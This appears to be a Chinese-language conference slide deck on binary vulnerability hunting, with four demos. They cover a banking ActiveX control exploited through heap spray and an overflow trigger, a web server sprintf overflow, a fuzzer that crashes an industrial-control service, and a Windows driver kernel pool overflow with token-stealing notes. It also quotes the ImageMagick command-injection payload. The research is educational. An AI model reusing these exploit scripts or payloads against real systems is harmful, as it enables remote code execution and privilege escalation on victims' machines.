

Bin Dog的补天生存攻略

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二进制选手的漏洞平台生存现状


审核难

挖掘难

但挖与不挖，漏洞就在那里

Let me show some DEMO





```
<object classid="clsid:7F432EA4-xxxx-xxxx-xxxx-E1A73Axxxxxx" id="target" ></object>


<script>
    var nop_size = 2000
    var arg0 = ""
    for(var i=0 ;i < nop_size ;i++) arg0+="A";

    target.Crypto(arg0,1,1,2,arg0); //负责加密Ukey
</script>
```

```
FILE *sub_10007E3D(char *Format, ...)  
{  
    char Source; // [sp+4h] [bp-800h]@1  
    .....  
    vsprintf(&Source, Format, va);  
    strcat(&Source, asc_100134E4);  
    .....  
}
```

```
|Dl1UnregisterServer+0x6d4d:  
    push    eax  
  
ebx=00000000 ecx=10013e48 edx=00000a0d esi=00000e3c edi=0012e254  
esp=0012e284h ebp=0012e128h icospl=0          nv up ei pl zx na pe nc  
ds=0023  ss=0023  fs=003b  gs=0000          efl=000000246  
|Dl1UnregisterServer+0xd4de  
5c000000  call    CCB_GNSignCom|Dl1UnregisterServer+0xcale (1000db6c)  
  
Access violation - code c0000005 (first chance)  
Exceptions are reported before any exception handling.  
n may be expected and handled.  
ebx=00000000 ecx=0012d482 edx=41414141 esi=00000e3c edi=0012fffe  
esp=0012d840 ebp=0012e128h icospl=0          nv up ei pl zx na pe nc  
ds=0023  ss=0023  fs=0023  gs=0000          efl=000001246  
40x81:    mov     dword ptr [edi].edx ds:0023:0012fffe=63410000  
  
ebx=00000000 ecx=0012d462 edx=41414141 esi=00000e3c edi=0012fffe  
esp=0012d480 ebp=0012e128h icospl=0          nv up ei pl zx na pe nc  
ds=0023  ss=0023  fs=003b  gs=0000          efl=00000246  
exceptionDispatcher+0x4:  
24    mov     ebx,dword ptr [esp] ss:0023:0012d460=0012d468  
  
ebx=0012d468 ecx=0012d462 edx=41414141 esi=00000e3c edi=0012fffe  
esp=0012d460 ebp=0012e128h icospl=0          nv up ei pl zx na pe nc  
ds=0023  ss=0023  fs=003b  gs=0000          efl=00000246  
exceptionDispatcher+0x7:  
    push    ecx  
  
ebx=0012d468 ecx=0012d462 edx=41414141 esi=00000e3c edi=0012fffe  
esp=0012d51c ebp=0012e128h icospl=0          nv up ei pl zx na pe nc  
ds=0023  ss=0023  fs=003b  gs=0000          efl=00000246  
exceptionDispatcher+0x8:  
    push    ebx  
  
ebx=0012d468 ecx=0012d462 edx=41414141 esi=00000e3c edi=0012fffe  
esp=0012d518 ebp=0012e128h icospl=0          nv up ei pl zx na pe nc  
ds=0023  ss=0023  fs=003b  gs=0000          efl=00000246  
exceptionDispatcher+0x8:  
    push    ebx  
0:000> p  
(3c:e40): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000000 ebx=00000000 ecx=41414141 edx=?9232bc esp=00000000 edi=00000000  
eip=41414141 esp=0012d520 ebp=0012d540 icospl=0          nv up ei pl zx na pe nc  
cs=0010h ss=0023 ds=0023 fs=003b gs=0000          efl=00000246  
41414141 ?? ????  
    nt!tdtowlower+0x12a (7c94a950)
```

DEMO1：某银行网银控件远程代码执行漏洞



第一步：Heap Spray && dword shoot

```
<script language='javascript'>
.....
while(junk.length < 0x1000) junk+=junk;
rop = unescape("");
shellcode = unescape("");
data = junk.substring(0,offset) + rop + shellcode;
data += junk.substring(0,0x800-offset-rop.length-shellcode.length);
//20+rop+shellcode+20 length==0x800
while(data.length < 0x80000) data += data;
.....
alert("spray done");
</script>
```

NetFairy's blog: <http://www.netfairy.net/?post=175>


第二步：触发漏洞

```
<script>
var nop_size = 350;
var arg0 = "";
for(var i=0 ;i < nop_size ;i++) arg0+="A";
arg0+="\x28\x22\x30\x20";
while(arg0.length<2000) arg0+="A";
target.Crypto(arg0,1,1,2,arg0);
</script>
```

DEMO1：某银行网银控件远程代码执行漏洞

```
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=7fefefef ebx=00000000 ecx=020df828 edx=41414141 esi=00000e60 edi=020dfffe  
eip=77c160c1 esp=020de8e8 ebp=020df120 iopl=0 nv up ei pl nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINI  
msvcrt!strcat+0x81:  
77c160c1 8917      mov     dword ptr [edi].edx ds:0023:020dfffe=5a4d0000  
0:008> dd 20302228  
20302228 315b16eb bb5350c0 7c8623ad c031d3ff  
20302238 cafabb50 d3ff17c81 fffffe5e8 6c6163ff  
20302248 78652e63 cccc0065 cccccccc cccccccc  
20302258 cccccccc 2020cccc 20202020 20202020  
20302268 20202020 20202020 20202020 20202020  
20302278 20202020 20202020 20202020 20202020  
20302288 20202020 20202020 20202020 20202020  
20302298 20202020 20202020 20202020 20202020  
0:008> dd 20302228 150  
20302228 315b16eb bb5350c0 7c8623ad c031d3ff  
20302238 cafabb50 d3ff17c81 fffffe5e8 6c6163ff  
20302248 78652e63 cccc0065 cccccccc cccccccc  
20302258 cccccccc 2020cccc 20202020 20202020  
20302268 20202020 20202020 20202020 20202020  
20302278 20202020 20202020 20202020 20202020  
20302288 20202020 20202020 20202020 20202020  
20302298 20202020 20202020 20202020 20202020  
20302299 20202020 20202020 20202020 20202020  
203022a8 20202020 20202020 20202020 20202020  
203022b8 20202020 20202020 20202020 20202020  
203022c8 20202020 20202020 20202020 20202020  
203022d8 20202020 20202020 20202020 20202020  
203022e8 20202020 20202020 20202020 20202020  
203022f8 20202020 20202020 20202020 20202020  
20302300 20202020 20202020 20202020 20202020
```

shellcode位置



程序猿最后修补了漏洞.....

```
v7 = sub_1000D7C1();  
AFX_MAINTAIN_STATE2(AFX_MAINTAIN_STATE2(&v20, v7);  
pszPath = 0;  
memset(&v15, 0, 0x100);  
v16 = 0;  
v17 = 0;  
v22 = 0;  
SHGetSpecialFolderPathA(0, &pszPath, 38, 0);  
strcat(pszPath, acbcomponentsD);  
v8 = (char *)sub_100081BD(a2);  
sub_10007B3D(aKeySns, v8);  
if ( sub_10007EE9(v8, &pszPath) >= 0 )
```

1.0.0.6
2015/07/25

```
int __cdecl sub_10007E3E(char *Str, char *Dest)  
2{  
3    signed int v3; // [sp-4h] [bp-8h]@10  
4  
5    if ( strlen(Str) != 12 )  
6        return -1;  
7    ...
```


```
v7 = sub_1000D715();  
AFX_MAINTAIN_STATE2(AFX_MAINTAIN_STATE2(&v21, v7);  
pszPath = 0;  
memset(&v16, 0, 0x100);  
v17 = 0;  
v18 = 0;  
v23 = 0;  
SHGetSpecialFolderPathA(0, &pszPath, 38, 0);  
strcat(pszPath, acbcomponentsD);  
v8 = (char *)sub_10008116((BSTR)lpMultiByteStr);  
nullsub_1();  
if ( sub_10007E3E(v8, &pszPath) >= 0 )
```

1.0.0.8
2017/01/03

但是...



有一些漏洞平台的Web小伙伴和我说...



Python...

```
def __init__(self):
    self.client=
        socket(AF_INET, SOCK_STREAM)
    self.client.connect(self.ADDR)
```

C...

```
WORD sockVersion = MAKWORD(2, 2);
WSADATA data;
SOCKET sclient = socket(AF_INET,
SOCK_STREAM, IPPROTO_TCP);
sockaddr_in serAddr;
serAddr.sin_family = AF_INET;
serAddr.sin_port = htons(8888);
serAddr.sin_addr.S_un.S_addr =
inet_addr("127.0.0.1");
connect(sclient, (sockaddr *)&serAddr,
sizeof(serAddr))
```

But Assembly...

```
.text:00401083      sub    esp, 180h
.text:00401089      mov    eax, __security_cookie
.text:0040108E      xor    eax, ebp
.text:00401090      mov    [ebp+var_C], eax
.text:00401093      mov    eax, 202h
.text:00401098      mov    [ebp+var_4], ax
.text:0040109C      lea    ecx, [ebp+WSAData]
.text:004010A2      push   ecx
.text:004010A3      movzx edx, [ebp+var_4] ; lpWSAData
.text:004010A7      push   edx
.text:004010A8      push   edx
.text:004010A9      call   ds:WSASStartup
.text:004010B0      test   eax, eax
.jz    short loc_401039
.text:004010B2      eax
.loc_4010BD

; CODE XREF: _main+30fj
; protocol
; type
; af
cket
$1, eax
$1, 0FFFFFFFh
loc_401060
t Format  ; "invalid socket ?"
int$4
eax
loc_4010BD

; CODE XREF: _main+4Cfj
2
name.sa_family, ax
push 2288h
call ds:htons
mov word ptr [ebp+name.sa_data], ax
push offset cp ; "127.0.0.1"
call ds:inet_addr
mov dword ptr [ebp+name.sa_data+2], eax
push 10h
lea ecx, [ebp+name]
push ecx
push edx, [ebp+name]
mov edx, [ebp+s]
push edx
call ds:connect
```

单飞的你如何成为一名实战型二进制选手...

ez...

有一个那种网站...

<http://www.exploit-db.com>



分析 < 利用 < 挖掘




3 Demos...




读Exploit源码
读Dalao's(:P) Paper
调试exploit
Memory Control 😊
防护机制绕过

最开始...交叉引用




IDA xrefs to..

Make it easy!!



CVE-2011-xxxx



fs.exe on Port 80



<http://website/AAAAA....>

DEMO2：某Web Server远程代码执行漏洞

他们修补了fs的漏洞

```
char __thiscall sub_45567(void *this, int a2, char *a3, int a4)
{
    if(sizeof(a3) > 256)
    {
        return 0;
    }
    v4 = this;
    CString::CString(&v9, aSqltable);
    v14 = 0;
    if ( a4 )
        CString::operator=(&v9, a4);
    ...
    if ( sub_454940(&v14) )
    {
        v5 = sub_4549A0(a2);
        CString::CString(&v11, v5);
        LOBYTE(v16) = 2;
        sub_454960(&v14);
        if (*(_DWORD *) (v11 - 8) > 0 )
        {
            sprintf(&Dest, aSelectFromSWhe, v10, v11, a3); //key!
        }
    }
}
```

But...




DEMO2：某Web Server远程代码执行漏洞




```
0:001> g
Breakpoint 1 hit
eax=003e4670 ebx=00000001 ecx=01666164 edx=003e4940 esi=016671a8 edi=003e44e0
eip=77c0f931 esp=01666130 ebp=01667890 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
msvcrt!sprintf: See U again
77c0f931 8bff    mov     edi,edi
0:001> kb
ChildEBP RetAddr  Args to child
WARNING: Stack unwind information not available. Following frames may be wrong
0166612c 004551c0 01666164 004c5dbc 003e4670 msvcr!sprintf
01667890 003e4760 003e4c10 ffffffff 00001000 fswsService+0x551c0
01667894 003e4c10 ffffffff 00001000 73dd6f50 0x3e4760
01667898 ffffffff 00001000 73dd6f50 00000000 0x3e4c10
0166789c 00000000 73dd6f50 00000000 00000000 0xfffffff
0:001> gu
eax=0000002a ebx=00000001 ecx=00008552 edx=0166618d esi=016671a8 edi=003e44e0
01666164 656c6573 2a07463 6f726620 7173206d select * from sq
01666174 6261746c 7720656c 65726568 65737520 ltable where use
01666184 3d646972 73657427 00002774 00000020 rid='test'...|...
01666194 00000000 00000000 00000000 00000000 .....
016661a4 00000000 00000000 00000000 00000000 .....
```

```
char __thiscall sub_455110(void *this, int a2, int a3, int a4)
{
    v4 = this;
    CString::CString(&v9, aSqltable);
    v14 = 0;
    if ( a4 )
        CString::operator=(&v9, a4);
    CString::CString(&v10, a2);
    LOBYTE(v14) = 1;
    if ( *(DWORD *) (v10 - 8) > 0 )
    {
        CString::Format((CString *) ((char *) v4 + 16), aWhereSS, v10, a3);
        sprintf(&Dest, aSelectFromSWhe, v9, v10, a3);
    }
}
```



我们用Burpsuite设置一个超长的UserName..



模糊测试



想想看神器sqlmap (不是啊D!) ...

畸形数据(样本)
规则?

输入



???


输出



我们关心的

Crash or
Not?

DEMO3：某工控服务远程拒绝服务漏洞



Proto	Local Address	Foreign Address	State	PID
TCP	0.0.0.0:21	0.0.0.0:0	LISTENING	556
TCP	0.0.0.0:135	0.0.0.0:0	LISTENING	960
TCP	0.0.0.0:445	0.0.0.0:0	LISTENING	4
TCP	0.0.0.0:801	0.0.0.0:0	LISTENING	3140
TCP	0.0.0.0:2006	0.0.0.0:0	LISTENING	2740
TCP	0.0.0.0:2007	0.0.0.0:0	LISTENING	2740
TCP	0.0.0.0:2008	0.0.0.0:0	LISTENING	340
TCP	0.0.0.0:21113	0.0.0.0:0	LISTENING	2948
TCP	127.0.0.1:1029	0.0.0.0:0	LISTENING	2268

svr process open Port 801

我们来写一个简单的fuzzer..

```
for i in range(0,5000):
    connect->timeout
    str = "A"*i
    print "let's test payload len %s",str(i)
    payload = "GET " + str + " HTTP/1.0\r\n\r\n"
    s.send(payload)
    close
```



Attach



httpsvr.exe

```
let's test payload len 4000
let's test payload len 4001
let's test payload len 4002
timeout!Check Debugger...
```

Done...



DEMO3：某工控服务远程拒绝服务漏洞

我们用Windbg捕获到一个crash!!!

```
0:003> g
[msgdoginfo] send cmd 2, PackageNo=177[msgdoginfo] wait for XKeyServer reply, PackageNo=17
PackageNo=186[msgdoginfo] Decrypt Recv Data, PackageNo=186[msgdoginfo] Request Complete a
PackageNo=196[msgdoginfo] wait for XKeyServer reply, PackageNo=196[msgdoginfo] recv XKeyS
Recv Data, PackageNo=205[msgdoginfo] Request Complete cmd=2, result=0.(c44.c48): Access v
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00120041 ebx=00000001 ecx=00130000 edx=01073adc esi=0012de0c edi=0000bc4e
eip=7c932f4e esp=0012dd18 ebp=0012dd18 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
ntdll!wcscpy+0xe:
7c932f4e 668901    mov    word ptr [ecx],ax    ds:0023:00130000=6341
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\sys
0:000> kb
childEBP RetAddr Args to child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012dd18 7c80bb10 0012e3e4 01071ec0 0000bc4e ntdll!wcscpy+0xe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Forc
0012dd4c 004070b4 0012e3e4 01071ec0 e4167e8c kernel32!lstrcpyw+0x1c
*** ERROR: Module load completed but symbols could not be loaded for C:\WINDOWS\system32\m
0012ddb8 787a2c8c 0012e274 0012df20 003ca1f8 httpsvr+0x70b4
0012ddcc 787a2e51 00000000 00000003 00010306 wfc10000001b2c8c
```

```
0:000> p
eax=01334a08
004070a6 50          push    eax
0:000> dd 01334a08
01334a08 00410041 00410041 00410041 00410041
.....
0:000> p
eax=0012e7dc
004070ad 50          push    eax
0:000> p
ds:0023:00419080={kernel32!lstrcpyW (7c80baf4)}
```

```
_DWORD * __stdcall sub_407030(int a1, _DWORD *a2)
{
    switch ( *(_DWORD *) (v22 + 20) )
    {
        case 0:
            v2 = (const WCHAR
*)ATL::CSimpleStringT<wchar_t,1>::operator wchar_t
const *(v21 + 16);
            lstrcpyW(*(LPWSTR *) (v22 + 32), v2); //key!
            break;
}
```


```
0:000> !address 130000
00130000 : 00130000 - 00003000
Type      00040000 MEM_MAPPED
Protect   00000002 PAGE_READONLY
State     00001000 MEM_COMMIT
Usage     RegionUsageIsVAD
```

但仅仅只是DoS...



我叮当猫无话可说

easy CVE is easy...



那些年..让审核们疯掉的漏洞...ImageMagick

CVE-2016-3714

```
push graphic-context
viewbox 0 0 640 480
fill
'url(https://example.com/image.jpg')|ls
"-la"
pop graphic-context
```

Method1

LibFuzzer -> 样本集

Method2

```
def build_random_image(data_length) : # 生成测试图像
    random_image_header = random.choice(image_header) # image_header 和 libFuzzer 里的
    ImageMagick 头一样

    return build_random_data(random_image_header[1]) + random_image_header[2] +
build_random_data(data_length)
```

a lot of CVEs

CVE List

CVE-2017-10000381
CVE-2017-10794
CVE-2017-10799 CVE-2017-10800
CVE-2017-10802
CVE-2017-10976
CVE-2017-11096 CVE-2017-11097 CVE-2017-11098 CVE-2017-11099 CVE-2017-11100 CVE-2017-11101 CVE-2017-11102
CVE-2017-11139 CVE-2017-11140
CVE-2017-11531 CVE-2017-11532 CVE-2017-11533 CVE-2017-11534 CVE-2017-11535 CVE-2017-11536 CVE-2017-11537
CVE-2017-11538 CVE-2017-11539 CVE-2017-11540
CVE-2017-11522
CVE-2017-11636 CVE-2017-11637
CVE-2017-11643 CVE-2017-11644

>
> [Discoverer]
> k0shl

Use CVE-2017-11751.

- - -

CVE Assignment Team
M/S M300, 202 Burlington Road, Bedford, MA 01730 USA

> [Discoverer]
> k0shl
Use CVE-2017-11724.
- - -
CVE Assignment Team
M/S M300, 202 Burlington Road, Bedford, MA 01730 USA

代码审计



CTF pwn and...

DEMO4：某厂商驱动内核池溢出提权漏洞


```

hDevice = CreateFile("\\\\.\\xxxx",
    GENERIC_WRITE | GENERIC_READ,
    0,
    NULL,
    OPEN_EXISTING,
    0,
    NULL);

```

PCHunter or...

驱动名	基地址	大小	驱动对象	驱动路径	服务名	加载...	文件厂商
ntkrnlpa.exe	0x83E3000	0x00412000	-	C:\Windows\system32\ntkrnlpa.exe			
halmod.dll	0x83E06000	0x00037000	-	C:\Windows\system32\halmod.dll			
kcdcom.dll	0x80880000	0x00008000	-	C:\Windows\system32\kcdcom.dll			
Microsoft.GenuineIntel.dll	0x87680000	0x00011000	-	C:\Windows\system32\Microsoft.GenuineIntel.dll			
PSHED.dll	0x87680000	0x00011000	-	C:\Windows\system32\PSHED.dll			
BOOTVID.dll	0x87E5C000	0x00008000	-	C:\Windows\system32\BOOTVID.dll			
CLFS.SYS	0x87E40000	0x00042000	0x85570240	C:\Windows\system32\CLFS.SYS			
Cl.dll	0x87E60000	0x000A8000	-	C:\Windows\system32\Cl.dll			
Wdf1000.sys	0x88030000	0x00071000	0x85537272	C:\Windows\system32\drivers\Wdf1000.sys			
WDFLDR.SYS	0x880A1000	0x0000E000	-	C:\Windows\system32\drivers\WDFLDR.SYS			
ACPI.sys	0x880A0F00	0x00048000	0x85538C48	C:\Windows\system32\drivers\ACPI.sys			
WMLIB.SYS	0x880F7000	0x00009000	-	C:\Windows\system32\drivers\WMLIB.SYS			
msasn1.dll	0x880F8000	0x00007000	0x85532048	C:\Windows\system32\drivers\msasn1.dll			
po.sys	0x880F8000	0x00024000	0x85532168	C:\Windows\system32\drivers\po.sys			
vdvroot.sys	0x88122000	0x00008000	0x85592850	C:\Windows\system32\drivers\vdvroot.sys			
partmgr.sys	0x8812D000	0x00011000	0x8564574A0	C:\Windows\system32\drivers\partmgr.sys			
compatbt.sys	0x88140000	0x00008000	0x85592EA0	C:\Windows\system32\DRIVERS\compatbt.sys			
BATTIC.SYS	0x88156000	0x0000B000	-	C:\Windows\system32\drivers\BATTIC.SYS			
volmgr.sys	0x88161000	0x00010000	0x856A69C90	C:\Windows\system32\drivers\volmgr.sys			
volmgrx.sys	0x88171000	0x0001B000	0x85697740	C:\Windows\System32\drivers\volmgrx.sys			
intelide.sys	0x881BC000	0x00007000	0x856970CF	C:\Windows\system32\drivers\intelide.sys			
PCIINDEX.SYS	0x881D0000	0x00001000	0x85698580	C:\Windows\system32\PCIINDEX.SYS			
vmci.sys	0x881D1000	0x00017000	0x85698580	C:\Windows\system32\vmci.sys			
mountmgr.sys	0x881E8000	0x00016000	0x856C6F00	C:\Windows\system32\drivers\mountmgr.sys			
ataapi.sys	0x880009000	0x00009000	0x85F3C1F0	C:\Windows\system32\drivers\ataapi.sys			
ataport.SYS	0x88009000	0x00023000	-	C:\Windows\system32\drivers\ataport.SYS			
lsi_sas.sys	0x87971000	0x00018000	0x85EEB1F0	C:\Windows\system32\drivers\lsi_sas.sys			
storport.sys	0x87A79000	0x00048000	-	C:\Windows\system32\drivers\storport.sys			
amdkata.sys	0x87E1F000	0x00009000	0x85FA6648	C:\Windows\system32\drivers\amdkata.sys			



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```
DeviceIoControl(hDevice,
    (unsigned int)0xB000EC1C,
    (PVOID)UserModeBuffer,
    0x1e18,
    NULL,
    0,
    &dwAttackRes,
    NULL);
```

struct _IRP..
#define IRP_MJ_DEVICE_CONTROL 0x0E

```
if ( v5 >= 0 )
{
    DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_10694;
    DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_10678;
    DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_129B8;
    DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)sub_10688;
    DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_1071E;
    result = 0;
}
else
{
    kd> p nt!IoCallDriver+0x5r:
    83e5458f ff548838 call dword ptr [eax+ecx*4+38h]
    kd> r eax
    eax=668dd7b8
    kd> dd eax
    868dd7b8 00a80004 86fc6ad8 00000010 91cde000
    868dd7c8 00005e80 863a2008 868dd860 001e001e
    868dd7d8 868b9170 84189250 00000000 91ce2ebe
    868dd7e8 00000000 91cdf34c 91cdf110 91cdf85a
    868dd7f8 91cdf110 91cdf1c4 91cdf1e4 91cdf85a
    868dd808 91cdf85a 91cdf85a 91cdf85a 91cdf85a
    868dd818 91cdf85a 91cdf85a 91cdf85a 91cdf85a
    868dd828 91cdea28 91cdecbe 91cdf85a 91cdf85a
```

or...

```
.text:00012A73 ; 25:     else if ( v5 == -1342116836 || v5 == -1342116828 )
.text:00012A73 cmp    edx, 0B000EC1Ch
.text:00012A79 jz     short loc_12A9A
.text:00012A7B cmp    edx, 0B000EC20h
.text:00012A81 jz     short loc_12A9A
.text:00012A83 ; 34:     if ( v5 != -1342116828 )
.text:00012A83 cmp    edx, 0B000EC24h
.text:00012A89 goto  LABEL_23
.text:00012A89 ; 35:     if ( v5 == -1342116836 )
.text:00012A8B loc_12A8B:    ; 72:     if ( v5 == -1342116832 )
.text:00012A8B mov    ebx, 0C000008Bh
.text:00012A8B goto  LABEL_20
.text:00012A8B jmp    short loc_12AC7 ; CODE XREF
.text:00012A8B .text:00012A90 ; 36:     v10 = sub_1243A((char *)v2, *((_DWORD *)v3 + 3));
.text:00012A90 .text:00012A92 loc_12A92:    ; 37:     v10 = sub_1243A((char *)v2, *((_DWORD *)v3 + 3));
.text:00012A92 push   dword ptr [eax+4]; int
.text:00012A92 push   byte  ?; char *
.text:00012A94 jmp    short loc_12AC4
.text:00012A94 .text:00012A95 ; 38:     v10 = sub_12876((int)v2, v9, v2, *((_DWORD *)v3 + 2));
.text:00012A95 .text:00012A96 loc_12A9D:    ; 39:     v10 = sub_12876((int)v2, v9, v2, *((_DWORD *)v3 + 2));
.text:00012A96 push   dword ptr [eax+4]; int
.text:00012A96 push   ecx
.text:00012A98 push   edx
.text:00012A98 call    sub_12876
.text:00012A98 jmp    short loc_12AC4
.text:00012A98 .text:00012A99 ; 40:     v10 = sub_1243A((char *)v2, *((_DWORD *)v3 + 2));
.text:00012A99 .text:00012AA0 loc_12AA0:    ; 41:     v10 = sub_1243A((char *)v2, *((_DWORD *)v3 + 2));
.text:00012AA0 push   dword ptr [eax+4]; int
.text:00012AA0 push   ecx
.text:00012AA1 push   edx
.text:00012AA2 push   edx
.text:00012AA3 call    sub_12876
.text:00012AA3 jmp    short loc_12AC4
.text:00012AA3 .text:00012AA4 ; 42:     v10 = sub_1243A((char *)v2, *((_DWORD *)v3 + 2));
.text:00012AA4 .text:00012AA5 loc_12AA5:    ; 43:     v10 = sub_1243A((char *)v2, *((_DWORD *)v3 + 2));
.text:00012AA5 push   dword ptr [eax+4]; int
.text:00012AA5 push   ecx
.text:00012AA6 push   edx
.text:00012AA6 call    sub_12876
.text:00012AA6 jmp    short loc_12AC4
.text:00012AA6 .text:00012AA7 ; 44:     v10 = sub_1243A((char *)v2, *((_DWORD *)v3 + 2));
.text:00012AA7 .text:00012AA8 loc_12AA8:    ; 45:     v10 = sub_1243A((char *)v2, *((_DWORD *)v3 + 2));
.text:00012AA8 push   dword ptr [eax+4]; int

```

We find IOCTL_CODE
switch case..
all IOCTL_CODE

```
1NTSTATUS __stdcall sub_129B8(char a1, PIRP Irp)
2{
3    struct _IRP *u2; // ecx@1
4    struct _IRP *u3; // ebx@1
5    NTSTATUS v4; // ebx@1
6    unsigned int v5; // edx@2
7    ULONG v6; // edi@2
8    int v7; // eax@4
9    unsigned int v8; // edx@6
10   signed int v10; // eax@18
11
12
13    sub_10486("IoControl: DevObj %p, Irp %p\n", a1);
14    v2 = Irp->AssociatedIrp.MasterIrp;
15    v3 = Irp->Tail.Overlay.CurrentStackLocation;
16    v4 = 0;
17
18    if ( v2 )
19    {
20        v5 = *((_DWORD *)v3 + 3);
21        if ( v5 > 0x8000EC14 )
22        {
23            if ( v5 == -1342116840 )
24            {
25                v10 = sub_12510(v2, *((_DWORD *)v3 + 1), 0);
26            }
27            else if ( v5 == -1342116836 || v5 == -1342116832 )
28            {
29                v9 = *((_DWORD *)v3 + 2);
30                if ( v9 < 0x21 )
31                    goto LABEL_27;
32                v10 = sub_12876((int)v2, v9, v2, *((_DWORD *)v3 + 1));
33            }
34            else
35            {
36                if ( v5 != -1342116828 )
37                    goto LABEL_23;
38                v10 = sub_1243A((char *)v2, *((_DWORD *)v3 + 1));
39            }
40        }
41    }
42}
```

sub_1243A() ...
sub_12510() ...
sub_12876() ...
....

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sub_12876()..

```
v4 = (char *)ExAllocatePool(PagedPool, 0x2000u);
v5 = sub_12510(v4, 0x2000, 0);
memcpy(&v4[v5], (const void *)a1 + 32), a2 - 32);
*(v4[v5 - 32] + a2) = 0;
sub_11856(&v10);
sub_12310(&v10, v4, v6);
sub_1238A((int)&v12, &v10);
sprintf(
    v1,
    "%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
    (unsigned _int8)v12,
    BYTE1(v12),
    BYTE2(v12),
    BYTE3(v12),
    v13,
    v14,
    v15,
    v16,
    v17,
    v18,
    v19,
    v20,
    v21,
    v22,
    v23,
    v24);
sub_10486("%s", (unsigned int)v11);
qmemcpy(a3, (const void *)a1, 0x20u);
v7 = a3;
v8 = 32;
do
{
    *v7 ^= v7[v11 - (_BYTE *)a3] & 0xF;
    ++v7;
    --v8;
}
while ( v8 );
ExFreePoolWithTag(v4, 0);
return 32;
```

kernel pool
just like
usermode heap...

kernel pool




一种双向链表的
内核对象

sub_12876()..

```
v4 = (char *)ExAllocatePool(PagedPool, 0x2000u);
v5 = sub_12510(v4, 0x2000, 0);
memcp((&v4[v5]), (const void *)a1 + 32), a2 - 32);
*(&v4[v5 - 32] + a2) = 0;
sub_11B56(v10);
sub_1231A(v10, v4, v6);
sub_123B0((int)&v12, &v10);
sprintf(
    v1,
    "%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
    (unsigned __int8)v12,
    BYTE1(v12),
    BYTE2(v12),
    BYTE3(v12),
    v13,
    v14,
    v15,
    v16,
    v17,
    v18,
    v19,
    v20,
    v21,
    v22,
    v23,
    v24);
sub_10486("%s", (unsigned int)v1);
qmemcpy(a3, (const void *)a1, 0x20u);
v7 = a3;
v8 = 32;
do
{
    *v7 ^= v7[v11] - (_BYTE *)a3] & 0xF;
    ++v7;
    --v8;
}
while ( v8 );
ExFreePoolWithTag(v4, 0);
return 32;
```

pool overflow...

*kernel pool
just like
usermode heap..*





kernel pool
just like
usermode heap...

sub_12876()..




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DEMO4：某厂商驱动内核池溢出提权漏洞


kernel object




不幸的是...

`v4=ExAllocatePool -> PagedPool`

`Bitmap/Palette -> SessionPagedPool`




NULL PAGE




Token stealing
shellcode

free object
if `OkayToCloseProcedure!=0x0`
`jmp OkayToCloseProcedure`





THANKS



THANKS:
@LCatro
@Bigric3
@Netfairy